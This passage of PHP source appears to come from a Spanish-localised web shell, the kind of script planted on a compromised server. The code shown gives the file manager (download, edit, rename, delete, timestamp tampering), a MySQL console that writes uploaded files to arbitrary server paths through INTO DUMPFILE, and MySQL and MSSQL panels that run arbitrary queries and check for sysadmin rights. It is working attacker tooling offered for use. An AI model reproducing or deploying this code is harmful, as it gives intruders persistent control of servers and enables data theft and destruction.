Directory</a></td>');p('</tr>');}}}p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');makehide('action','file');makehide('thefile');makehide('doing');makehide('dir',$nowpath);$file_i = '0';foreach($filedata as $key => $filedb){if($filedb['filename']!='..' && $filedb['filename']!='.') {$fileurl = str_replace($_SERVER["DOCUMENT_ROOT"],'',$filedb['server_link']);$thisbg = bg();p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');p('<td nowrap>'.$filedb['mtime'].'</td>');p('<td nowrap>'.$filedb['size'].'</td>');p('<td nowrap>');p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');p('<td nowrap>');p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Descargar</a> | ');p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copiar</a> | ');p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Editar</a> | ');p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Renombrar</a> | ');p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Tiempo</a>');p('</td></tr>');$file_i++;}}p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Descargar seleccionados</a> - <a href="javascript:dofile(\'delfiles\');">Borrar seleccionados</a></td><td colspan="4" align="right">'.$dir_i.' directorios / '.$file_i.' archivos</td></tr>');p('</form></table>');
}elseif ($action == 'sqlfile') {if($doing=="mysqlupload"){$file = $_FILES['uploadfile'];$filename = $file['tmp_name'];if (file_exists($savepath)) {m('El archivo ya existe');} else {if(!$filename) {m('Elija un archivo');} else {$fp=@fopen($filename,'r');$contents=@fread($fp, filesize($filename));@fclose($fp);$contents = bin2hex($contents);if(!$upname) $upname = $file['name'];mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);$result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");m($result ? 'Subida con exito' : 'Subida fallida: '.mysql_error());}}}?>
<script type="text/javascript">
function mysqlfile(doing){if(!doing) return;$('doing').value=doing;$('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;$('mysqlfile').dbport.value=$('dbinfo').dbport.value;$('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;$('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;$('mysqlfile').dbname.value=$('dbinfo').dbname.value;$('mysqlfile').charset.value=$('dbinfo').charset.value;$('mysqlfile').submit();
}</script>
<?php
!$dbhost && $dbhost = 'localhost';!$dbuser && $dbuser = 'root';!$dbport && $dbport = '3306';formhead(array('title'=>'MYSQL Info','name'=>'dbinfo'));makehide('action','sqlfile');p('<p>');p('DBHost:');makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));p(':');makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));p('DBUser:');makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));p('DBPass:');makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));p('DBName:');makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));p('DBCharset:');makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'nokey'=>1));p('</p>');formfoot();p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');p('<h2>Subir archivo</h2>');p('<p><b>Para realizar esto el usuario DB debe tener privilegios FILE</b></p>');p('<p>Ruta guardado: <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');p('<h2>Descargar archivo</h2>');p('<p>Archivo: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Descargar</a></p>');makehide('dbhost');makehide('dbport');makehide('dbuser');makehide('dbpass');makehide('dbname');makehide('charset');makehide('doing');makehide('action','sqlfile');p('</form>');
}elseif ($action == 'mysqladmin') {!$dbhost && $dbhost = 'localhost';!$dbuser && $dbuser = 'root';!$dbport && $dbport = '3306';$dbform = '<input type="hidden" id="connect" name="connect" value="1" />';if(isset($dbhost)){$dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";}if(isset($dbuser)) {$dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";}if(isset($dbpass)) {$dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";}if(isset($dbport)) {$dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";}if(isset($dbname)) {$dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";}if(isset($charset)) {$dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";}if ($doing == 'backupmysql' && $saveasfile) {if (!$table) {m('Please choose the table');} else {mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);$table = array_flip($table);$fp = @fopen($path,'w');if ($fp) {$result = q('SHOW tables');if (!$result) p('<h2>'.mysql_error().'</h2>');$mysqldata = '';while ($currow = mysql_fetch_array($result)) {if (isset($table[$currow[0]])) {sqldumptable($currow[0], $fp);}}fclose($fp);$fileurl = str_replace(SA_ROOT,'',$path);m('Backup creado en <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');mysql_close();} else {m('Backup fallido');}}}if ($insert && $insertsql) {$keystr = $valstr = $tmp = '';foreach($insertsql as $key => $val) {if ($val) {$keystr .= $tmp.$key;$valstr .= $tmp."'".addslashes($val)."'";$tmp = ',';}}if ($keystr && $valstr) {mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Ingrese nuevo registro' : mysql_error());	}}if ($update && $insertsql && $base64) {$valstr = $tmp = '';foreach($insertsql as $key => $val) {$valstr .= $tmp.$key."='".addslashes($val)."'";$tmp = ',';}if ($valstr) {$where = base64_decode($base64);mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Actualizando registro' : mysql_error());}}if ($doing == 'del' && $base64) {$where = base64_decode($base64);$delete_sql = "DELETE FROM $tablename WHERE $where";mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);m(q("DELETE FROM $tablename WHERE $where") ? 'Borrando registro' : mysql_error());}if ($tablename && $doing == 'drop') {mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);if (q("DROP TABLE $tablename")) {m('Drop table exitoso');$tablename = '';} else {m(mysql_error());}}formhead(array('title'=>'MYSQL'));makehide('action','mysqladmin');p('<p>');p('DBHost:');makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));p(':');makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));p('DBUser:');makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));p('DBPass:');makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));p('DBCharset:');makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'nokey'=>1));makeinput(array('name'=>'connect','value'=>'Conectar','type'=>'submit','class'=>'bt'));p('</p>');formfoot();
?>
<script type="text/javascript">
function editrecord(action, base64, tablename){if (action == 'del') {if (!confirm('Is or isn\'t deletion record?')) return;}$('recordlist').doing.value=action;$('recordlist').base64.value=base64;$('recordlist').tablename.value=tablename;$('recordlist').submit();
}function moddbname(dbname) {if(!dbname) return;$('setdbname').dbname.value=dbname;$('setdbname').submit();
}function settable(tablename,doing,page) {if(!tablename) return;if (doing) {$('settable').doing.value=doing;}if (page) {$('settable').page.value=page;}$('settable').tablename.value=tablename;$('settable').submit();
}</script>
<?php
formhead(array('name'=>'recordlist'));makehide('doing');makehide('action','mysqladmin');makehide('base64');makehide('tablename');p($dbform);formfoot();formhead(array('name'=>'setdbname'));makehide('action','mysqladmin');p($dbform);if (!$dbname) {makehide('dbname');}formfoot();formhead(array('name'=>'settable'));makehide('action','mysqladmin');p($dbform);makehide('tablename');makehide('page',$page);makehide('doing');formfoot();$cachetables = array();	
$pagenum = 30;$page = intval($page);if($page) {$start_limit = ($page - 1) * $pagenum;} else {$start_limit = 0;$page = 1;}if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);$mysqlver = mysql_get_server_info();p('<p>MySQL '.$mysqlver.' ejecutandose en '.$dbhost.' como '.$dbuser.'@'.$dbhost.'</p>');$highver = $mysqlver > '4.1' ? 1 : 0;$query = q("SHOW DATABASES");$dbs = array();$dbs[] = '-- Seleccione una database --';while($db = mysql_fetch_array($query)) {$dbs[$db['Database']] = $db['Database'];}makeselect(array('title'=>'Seleccione una database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));$tabledb = array();if ($dbname) {p('<p>');p('Database: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');if ($tablename) {p(' | Tabla actual: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');}p('</p>');mysql_select_db($dbname);$getnumsql = '';$runquery = 0;if ($sql_query) {$runquery = 1;}$allowedit = 0;if ($tablename && !$sql_query) {$sql_query = "SELECT * FROM $tablename";$getnumsql = $sql_query;$sql_query = $sql_query." LIMIT $start_limit, $pagenum";$allowedit = 1;}p('<form action="'.$self.'" method="POST">');p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Ejecutar Query SQL'.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Ejecutar" /></td></tr></table></p>');makehide('tablename', $tablename);makehide('action','mysqladmin');p($dbform);p('</form>');if ($tablename || ($runquery && $sql_query)) {if ($doing == 'structure') {$result = q("SHOW COLUMNS FROM $tablename");$rowdb = array();while($row = mysql_fetch_array($result)) {$rowdb[] = $row;}p('<table border="0" cellpadding="3" cellspacing="0">');p('<tr class="head">');p('<td>Field</td>');p('<td>Type</td>');p('<td>Null</td>');p('<td>Key</td>');p('<td>Default</td>');p('<td>Extra</td>');p('</tr>');foreach ($rowdb as $row) {$thisbg = bg();p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');p('<td>'.$row['Field'].'</td>');p('<td>'.$row['Type'].'</td>');p('<td>'.$row['Null'].'&nbsp;</td>');p('<td>'.$row['Key'].'&nbsp;</td>');p('<td>'.$row['Default'].'&nbsp;</td>');p('<td>'.$row['Extra'].'&nbsp;</td>');p('</tr>');}tbfoot();} elseif ($doing == 'insert' || $doing == 'edit') {$result = q('SHOW COLUMNS FROM '.$tablename);while ($row = mysql_fetch_array($result)) {$rowdb[] = $row;}$rs = array();if ($doing == 'insert') {p('<h2>Insert new line in '.$tablename.' table &raquo;</h2>');} else {p('<h2>Update record in '.$tablename.' table &raquo;</h2>');$where = base64_decode($base64);$result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");$rs = mysql_fetch_array($result);}p('<form method="post" action="'.$self.'">');p($dbform);makehide('action','mysqladmin');makehide('tablename',$tablename);p('<table border="0" cellpadding="3" cellspacing="0">');foreach ($rowdb as $row) {if ($rs[$row['Field']]) {$value = htmlspecialchars($rs[$row['Field']]);} else {$value = '';}$thisbg = bg();p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');if ($row['Key'] == 'UNI' || $row['Extra'] == 'auto_increment' || $row['Key'] == 'PRI') {p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td>'.$value.'&nbsp;</td></tr>');} else {p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');}}if ($doing == 'insert') {p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insertar" /></td></tr>');} else {p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Actualizar" /></td></tr>');makehide('base64', $base64);}p('</table></form>');} else {$querys = @explode(';',$sql_query);foreach($querys as $num=>$query) {if ($query) {p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");switch(qy($query)){case 0:
p('<h2>Error : '.mysql_error().'</h2>');break;	
case 1:
if (strtolower(substr($query,0,13)) == 'select * from') {$allowedit = 1;}if ($getnumsql) {$tatol = mysql_num_rows(q($getnumsql));$multipage = multi($tatol, $pagenum, $page, $tablename);}if (!$tablename) {$sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));$sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);$tablename = $matches[1][0];}
$getfield = q("SHOW COLUMNS FROM $tablename");$rowdb = array();$keyfied = '';while($row = @mysql_fetch_assoc($getfield)) {$rowdb[$row['Field']]['Key'] = $row['Key'];$rowdb[$row['Field']]['Extra'] = $row['Extra'];if ($row['Key'] == 'UNI' || $row['Key'] == 'PRI') {$keyfied = $row['Field'];}}if (strtolower(substr($query,0,13)) == 'select * from') {$query = str_replace(" LIMIT ", " order by $keyfied DESC LIMIT ", $query);}$result = q($query);p($multipage);p('<table border="0" cellpadding="3" cellspacing="0">');p('<tr class="head">');if ($allowedit) p('<td>Action</td>');$fieldnum = @mysql_num_fields($result);for($i=0;$i<$fieldnum;$i++){$name = @mysql_field_name($result, $i);$type = @mysql_field_type($result, $i);$len = @mysql_field_len($result, $i);p("<td nowrap>$name<br><span>$type($len)".(($rowdb[$name]['Key'] == 'UNI' || $rowdb[$name]['Key'] == 'PRI') ? '<b> - PRIMARY</b>' : '').($rowdb[$name]['Extra'] == 'auto_increment' ? '<b> - Auto</b>' : '')."</span></td>");}p('</tr>');while($mn = @mysql_fetch_assoc($result)){$thisbg = bg();p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');$where = $tmp = $b1 = '';foreach($mn as $key=>$inside){if ($inside) {if ($rowdb[$key]['Key'] == 'UNI' || $rowdb[$key]['Extra'] == 'auto_increment' || $rowdb[$key]['Key'] == 'PRI') {$where = $key."='".addslashes($inside)."'";break;}$where .= $tmp.$key."='".addslashes($inside)."'";$tmp = ' AND ';}}foreach($mn as $key=>$inside){$b1 .= '<td nowrap>'.html_clean($inside).'&nbsp;</td>';}$where = base64_encode($where);if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Editar</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Borrar</a></td>');p($b1);p('</tr>');unset($b1);}tbfoot();p($multipage);break;case 2:
$ar = mysql_affected_rows();p('<h2>Columnas afectadas : <b>'.$ar.'</b></h2>');break;}}}}} else {$query = q("SHOW TABLE STATUS");$table_num = $table_rows = $data_size = 0;$tabledb = array();while($table = mysql_fetch_array($query)) {$data_size = $data_size + $table['Data_length'];$table_rows = $table_rows + $table['Rows'];$table['Data_length'] = sizecount($table['Data_length']);$table_num++;$tabledb[] = $table;}$data_size = sizecount($data_size);unset($table);p('<table border="0" cellpadding="0" cellspacing="0">');p('<form action="'.$self.'" method="POST">');makehide('action','mysqladmin');p($dbform);p('<tr class="head">');p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');p('<td>Nombre</td>');p('<td>Rows</td>');p('<td>Data_length</td>');p('<td>Create_time</td>');p('<td>Update_time</td>');if ($highver) {p('<td>Engine</td>');p('<td>Collation</td>');}p('<td>Operate</td>');p('</tr>');foreach ($tabledb as $key => $table) {$thisbg = bg();p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a></td>');p('<td>'.$table['Rows'].'</td>');p('<td>'.$table['Data_length'].'</td>');p('<td>'.$table['Create_time'].'&nbsp;</td>');p('<td>'.$table['Update_time'].'&nbsp;</td>');if ($highver) {p('<td>'.$table['Engine'].'</td>');p('<td>'.$table['Collation'].'</td>');}p('<td><a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insertar</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Estructura</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a></td>');p('</tr>');}p('<tr class='.bg().'>');p('<td>&nbsp;</td>');p('<td>Total tablas: '.$table_num.'</td>');p('<td>'.$table_rows.'</td>');p('<td>'.$data_size.'</td>');p('<td colspan="'.($highver ? 5 : 3).'">&nbsp;</td>');p('</tr>');p("<tr class=\"".bg()."\"><td colspan=\"".($highver ? 9 : 7)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Guardar como <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Exportar seleccionadas\" /></td></tr>");makehide('doing','backupmysql');formfoot();p("</table>");fr($query);}}}tbfoot();@mysql_close();
}elseif ($action == 'mssqladmin') {!$dbhost && $dbhost = 'localhost';!$dbuser && $dbuser = 'sa';!$dbname && $dbname = 'master';$dbform = '<input type="hidden" id="connect" name="connect" value="1" />';if(isset($dbhost)){$dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";}if(isset($dbuser)) {$dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";}if(isset($dbpass)) {$dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";}if(isset($dbname)) {$dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";}if ($insert && $insertsql) {$keystr = $valstr = $tmp = '';foreach($insertsql as $key => $val) {if ($val) {$keystr .= $tmp.$key;$valstr .= $tmp."'".addslashes($val)."'";$tmp = ',';}}if ($keystr && $valstr) {msdbconn($dbhost,$dbuser,$dbpass,$dbname);m(msq("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Ingrese nuevo registro' : msmsg());}}if ($update && $insertsql && $base64) {$valstr = $tmp = '';foreach($insertsql as $key => $val) {$valstr .= $tmp.$key."='".addslashes($val)."'";$tmp = ',';}if ($valstr) {$where = base64_decode($base64);msdbconn($dbhost,$dbuser,$dbpass,$dbname);m(msq("UPDATE $tablename SET $valstr WHERE $where") ? 'Actualizando registro' : msmsg());}}if ($doing == 'del' && $base64) {$where = base64_decode($base64);$delete_sql = "DELETE FROM $tablename WHERE $where";msdbconn($dbhost,$dbuser,$dbpass,$dbname);m(msq("DELETE FROM $tablename WHERE $where") ? 'Borrando registro' : msmsg());}if ($tablename && $doing == 'drop') {msdbconn($dbhost,$dbuser,$dbpass,$dbname);if (msq("DROP TABLE $tablename")) {m('Drop table of success');$tablename = '';} else {m(msmsg());}}formhead(array('title'=>'MSSQL'));makehide('action','mssqladmin');p('<p>');p('DBHost:');makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));p('DBUser:');makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));p('DBPass:');makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));makeinput(array('name'=>'connect','value'=>'Conectar','type'=>'submit','class'=>'bt'));p('</p>');formfoot();
?>
<script type="text/javascript">
function editrecord(action, base64, tablename){if (action == 'del') {if (!confirm('Is or isn\'t deletion record?')) return;}$('recordlist').doing.value=action;$('recordlist').base64.value=base64;$('recordlist').tablename.value=tablename;$('recordlist').submit();
}function moddbname(dbname) {if(!dbname) return;$('setdbname').dbname.value=dbname;$('setdbname').submit();
}function settable(tablename,doing,page) {if(!tablename) return;if (doing) {$('settable').doing.value=doing;}if (page) {$('settable').page.value=page;}$('settable').tablename.value=tablename;$('settable').submit();
}function mssqlinfo(dbname) {if(!dbname) return;$('mssqlinfo').dbname.value=dbname;$('mssqlinfo').submit();
}</script>
<?php
formhead(array('name'=>'recordlist'));makehide('doing');makehide('action','mssqladmin');makehide('base64');makehide('tablename');p($dbform);formfoot();formhead(array('name'=>'mssqlinfo'));makehide('action','mssqladmin');makehide('doing','mssqlinfo');makehide('dbname');p($dbform);formfoot();formhead(array('name'=>'setdbname'));makehide('action','mssqladmin');p($dbform);if (!$dbname) {makehide('dbname');}formfoot();formhead(array('name'=>'settable'));makehide('action','mssqladmin');p($dbform);makehide('tablename');makehide('page',$page);makehide('doing');formfoot();$cachetables = array();	
$pagenum = 30;$page = intval($page);if($page) {$start_limit = ($page - 1) * $pagenum;} else {$start_limit = 0;$page = 1;}if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {!$dbname && $dbname = 'master';msdbconn($dbhost, $dbuser, $dbpass, $dbname);$query = msq('select @@version');$msinfo = mssql_fetch_array($query);echo '<p>'.$msinfo[0].'</p>';$query = msq("SELECT IS_SRVROLEMEMBER('sysadmin')");$msinfo = mssql_fetch_array($query);$issa = 0;if ($msinfo[0]) {$issa = 1;echo '<h3>Eres sysadmin!</h3>';}$query = msq("SELECT name FROM master.dbo.sysdatabases WHERE has_dbaccess(name) = 1 ORDER BY name");$dbs = array();$dbs[] = '-- Seleccione una DB --';while($db = mssql_fetch_array($query)) {$dbs[$db['name']] = $db['name'];}makeselect(array('title'=>'Seleccione la DB:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));$tabledb = array();if ($dbname) {p('<p>');p('Database: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a> [ <a href="javascript:mssqlinfo(\''.$dbname.'\');">information</a> ]');if ($tablename) {p(' | Tabla actual: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');}p('</p>');if (!@mssql_select_db($dbname)) {p('<h2>'.msmsg().'</h2>');exit;}if ($doing == 'mssqlinfo') {$result = msq("SELECT t1.owner, t1.crdate, t1.size, t2.DBBupDate, t3.DifBupDate, t4.JournalBupDate FROM (SELECT d.name, suser_sname(d.sid) AS owner, d.crdate, (SELECT STR(SUM(CONVERT(DEC(15), f.size)) * (SELECT v.low FROM master.dbo.spt_values v WHERE v.type = 'E' AND v.number = 1) / 1048576, 10, 2) + 'MB' FROM [$dbname].dbo.sysfiles f) AS size FROM master.dbo.sysdatabases d WHERE d.name = '$dbname') AS t1 LEFT JOIN (SELECT '$dbname' AS name, MAX(backup_finish_date) AS DBBupDate FROM msdb.dbo.backupset WHERE type = 'D' AND database_name = '$dbname') AS t2 ON t1.name = t2.name LEFT JOIN (SELECT '$dbname' AS name, MAX(backup_finish_date) AS DifBupDate FROM msdb.dbo.backupset WHERE type = 'I' AND database_name = '$dbname') AS t3 ON t1.name = t3.name LEFT JOIN (SELECT '$dbname' AS name, MAX(backup_finish_date) AS JournalBupDate FROM msdb.dbo.backupset WHERE type = 'L' AND database_name = '$dbname') AS t4 ON t1.name = t4.name");$info = mssql_fetch_assoc($result);p('<table border="0" cellpadding="3" cellspacing="0">');p('<tr class="head">');p('<td colspan="2">'.$dbname.' Information</td>');p('</tr>');p('<tr class="alt1" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt1\';">');p('<td>Owner</td><td>'.$info['owner'].'</td>');p('</tr>');p('<tr class="alt2" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt2\';">');p('<td>Create date</td><td>'.$info['crdate'].'</td>');p('</tr>');p('<tr class="alt1" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt1\';">');p('<td>Size</td><td>'.$info['size'].'</td>');p('</tr>');p('<tr class="alt2" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt2\';">');p('<td>Last backup</td><td>'.$info['DBBupDate'].'&nbsp;</td>');p('</tr>');p('<tr class="alt1" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt1\';">');p('<td>Last differential backup</td><td>'.$info['DifBupDate'].'&nbsp;</td>');p('</tr>');p('<tr class="alt2" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt2\';">');p('<td>Last log backup</td><td>'.$info['JournalBupDate'].'&nbsp;</td>');p('</tr>');tbfoot();p('<br /><br />');$result = msq("EXEC sp_helpfile");$rowdb = array();while ($row = mssql_fetch_assoc($result)) {$rowdb[] = $row;}foreach($rowdb as $row){p('<table border="0" cellpadding="3" cellspacing="0">');p('<tr class="head">');p('<td colspan="2">'.$row['name'].'</td>');p('</tr>');p('<tr class="alt1" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt1\';">');p('<td>Filename</td><td>'.$row['filename'].'&nbsp;</td>');p('</tr>');p('<tr class="alt2" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt2\';">');p('<td>Filegroup</td><td>'.$row['filegroup'].'&nbsp;</td>');p('</tr>');p('<tr class="alt1" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt1\';">');p('<td>Size</td><td>'.$row['size'].'&nbsp;</td>');p('</tr>');p('<tr class="alt2" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt2\';">');p('<td>Maxsize</td><td>'.$row['maxsize'].'&nbsp;</td>');p('</tr>');p('<tr class="alt1" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt1\';">');p('<td>Growth</td><td>'.$row['growth'].'&nbsp;</td>');p('</tr>');p('<tr class="alt2" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt2\';">');p('<td>Usage</td><td>'.$row['usage'].'&nbsp;</td>');p('</tr>');tbfoot();p('<br /><br />');}} else {$getnumsql = '';$runquery = 0;if ($sql_query) {$runquery = 1;}$allowedit = 0;if ($tablename && !$sql_query) {$sql_query = "SELECT * FROM $tablename";$getnumsql = "SELECT count(*) FROM $tablename";$allowedit = 1;}p('<form action="'.$self.'" method="POST">');p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');makehide('tablename', $tablename);makehide('action','mssqladmin');p($dbform);p('</form>');if ($tablename || ($runquery && $sql_query)) {if ($doing == 'structure') {$result = msq("select b.name,c.name as type,c.xtype,b.length,b.isnullable,b.colstat,case when b.autoval is null then 0 else 1 end,b.colid,a.id,d.text from sysobjects a join syscolumns b on a.id = b.id join systypes c on b.xtype = c.xtype and c.usertype <> 18 left join syscomments d on d.id = b.cdefault where a.id = OBJECT_ID('$tablename') order by b.colid");$rowdb = array();while($row = mssql_fetch_array($result)) {$rowdb[] = $row;}p('<table border="0" cellpadding="3" cellspacing="0">');p('<tr class="head">');p('<td>Field</td>');p('<td>Type</td>');p('<td>Length</td>');p('<td>Isnullable</td>');p('<td>Key</td>');p('<td>Default</td>');p('<td>Extra</td>');p('</tr>');foreach ($rowdb as $row) {$thisbg = bg();p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');p('<td>'.$row['name'].'</td>');p('<td>'.$row['type'].'['.$row['xtype'].']</td>');p('<td>'.$row['length'].'&nbsp;</td>');p('<td>'.($row['isnullable'] ? 'Yes' : 'No').'&nbsp;</td>');p('<td>'.($row['colstat'] ? 'PRIMARY' : '').'&nbsp;</td>');p('<td>'.$row['text'].'&nbsp;</td>');p('<td>'.($row['autoval'] ? 'Auto_increment' : '').'&nbsp;</td>');p('</tr>');}tbfoot();} elseif ($doing == 'insert' || $doing == 'edit') {$result = msq("select b.name,c.name as type,c.xtype,b.length,b.isnullable,b.colstat,case when b.autoval is null then 0 else 1 end,b.colid,a.id,d.text from sysobjects a join syscolumns b on a.id = b.id join systypes c on b.xtype = c.xtype and c.usertype <> 18 left join syscomments d on d.id = b.cdefault where 